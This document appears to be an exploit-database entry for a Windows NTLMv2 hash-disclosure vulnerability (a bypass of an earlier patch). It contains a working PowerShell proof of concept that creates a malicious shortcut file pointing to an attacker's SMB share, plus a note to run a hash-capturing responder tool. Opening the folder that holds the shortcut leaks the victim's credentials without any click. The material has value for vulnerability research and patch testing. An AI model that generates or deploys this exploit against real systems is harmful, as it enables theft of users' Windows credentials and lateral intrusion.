# Exploit Title: Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure # Date: 13/08/2025 # Exploit Author: Ruben Enkaoua # Author link: https://x.com/RubenLabs, https://github.com/rubenformation # Original Blog: https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/ # Vendor Homepage: https://microsoft.com # Software Link: https://www.microsoft.com/en-us/software-download # Version: All versions prior to patch tuesday august 2025 # Tested on: Windows 10.0.19045 # CVE : CVE-2025-50154 # This exploit if for CVE-2025-24054 Patch Bypass # Start a responder with: # responder -I <interface> -v <# .SYNOPSIS Creates a malicious LNK file that triggers SMB NTLMv2-SSP hash disclosure. This code is for educational and research purposes only. The author takes no responsibility for any misuse of this code. .DESCRIPTION This script generates a .LNK shortcut pointing to a remote SMB-hosted binary file. The shortcut uses a default Windows icon (SHELL32.dll) but still forces Explorer to fetch the PE icon from the remote binary, triggering authentication. .PARAMETER path Local path where the LNK file will be saved (e.g., C:\Users\User\Desktop). .PARAMETER ip IP address or hostname of the remote SMB server hosting the binary. .PARAMETER share The shared folder on the SMB server where the binary is stored. .PARAMETER file The name of the binary file (e.g., payload.exe). .EXAMPLE .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware" -file "payload.exe" #> param( [Parameter(Mandatory=$true)] [string]$path, # -path [Parameter(Mandatory=$true)] [string]$ip, # -ip [Parameter(Mandatory=$true)] [string]$share, # -share [Parameter(Mandatory=$true)] [string]$file # -file ) # Build file paths $shortcutPath = Join-Path $path "poc.lnk" $targetPath = "\\$ip\$share\$file" $iconLocation = "C:\Windows\System32\SHELL32.dll" # Create LNK file $wShell = New-Object -ComObject WScript.Shell $shortcut = $wShell.CreateShortcut($shortcutPath) $shortcut.TargetPath = $targetPath $shortcut.IconLocation = $iconLocation $shortcut.Save() Write-Output "Shortcut created at: $shortcutPath" Write-Output "Target path: $targetPath"